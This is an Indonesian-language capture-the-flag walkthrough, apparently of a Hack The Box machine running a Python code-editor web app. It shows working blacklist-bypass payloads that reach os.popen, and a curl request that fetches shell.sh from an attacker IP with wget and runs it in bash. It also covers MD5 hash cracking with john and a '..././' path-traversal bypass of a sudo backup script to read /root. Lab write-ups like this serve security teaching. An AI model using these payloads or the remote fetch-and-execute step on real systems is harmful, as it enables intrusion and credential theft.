Recon

Port Scan

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4

Kita bisa lihat kalo ada web dengan port 5000 yang berjalan.

User

app-production

Di web tersebut kita bisa menjalankan code python yang kita inginkan, namun untuk function yang biasa digunakan untuk RCE kemungkinan besar di blacklist, sehingga kita harus bypass nya.

Jinja2 SSTI

Ditambah dengan tanda “+” untuk melakukan bypass terhadap blacklist.

print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("ls /").re'+'ad()'))

Selain langsung melalu web, kita bisa menggunalan curl untuk mengirimkan code.

Pertama kita check website menggunakan curl.

curl http://10.10.11.62:5000

Kita mendapatkan endpoint /run_code:

$.post('/run_code', {code: code}, function(data) {
    document.getElementById('output').textContent = data.output;
});

Kirimkan menggunakan curl dan gunakan –data-urlencode biar curl encode otomatis.

curl -X POST http://10.10.11.62:5000/run_code   -H "Content-Type: application/x-www-form-urlencoded"   --data-urlencode $'code=obj = globals()["__buil" + "tins__"][\'ev\' + \'al\']\nresult = obj(\'__imp\' + \'ort__("o\' + \'s").pop\' + \'en("ls").rea\' + \'d()\')\nprint(result)'

Sekarang kita lakukan RCE ke target.

curl -X POST http://10.10.11.62:5000/run_code \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode $'code=print(\'\'.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__[\'__buil\' + \'tins__\'][\'ev\' + \'al\'](\'__imp\' + \'ort__("o\' + \'s").po\' + \'pen("wget 10.10.xx.xx:1412/shell.sh -O /tmp/shell.sh").re\' + \'ad()\'))\nprint(\'\'.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__[\'__buil\' + \'tins__\'][\'ev\' + \'al\'](\'__imp\' + \'ort__("o\' + \'s").po\' + \'pen("bash /tmp/shell.sh").re\' + \'ad()\'))

Flag user ada di direktori home user ini.

Martin

Ada file database.db di app/instance yang menggunakan sqlite3.

SQLite version 3.49.1 2025-02-18 13:38:58                                        Enter ".help" for usage hints.
sqlite> .tables
code  user
sqlite> select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be

Crack menggunakan john

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt  --format=Raw-MD5 
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
nafeelxxxxxxxxxxx (?)

Login menggunakan SSH dengan kredensial yang diatas.

Root

Jalankan sudo -l

martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

Cek file /usr/bin/backy.sh

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

Dari code diatas kita tahu bahwa:

  1. Mengecek input file JSON (task.json)
  2. Melakukan sanitasi direktori (../ dihapus)
  3. Memastikan bahwa semua direktori yang akan diarsipkan berada di dalam /var/ atau /home/
  4. Jika berhasil melakukan itu semua, maka backy akan melakukan bakcup.

Kita bypass ../ dengan membuat double.

{
  "directories_to_archive": [
    "/home/..././root/" 
  ],
  "destination": "/tmp"
}

Lalu jalankan.

sudo /usr/bin/backy.sh task.json

Lalu extract backup yang sudah kita buat di folder /tmp

Tentu kita juga bisa dapetin id_rsa nya.

Rooted.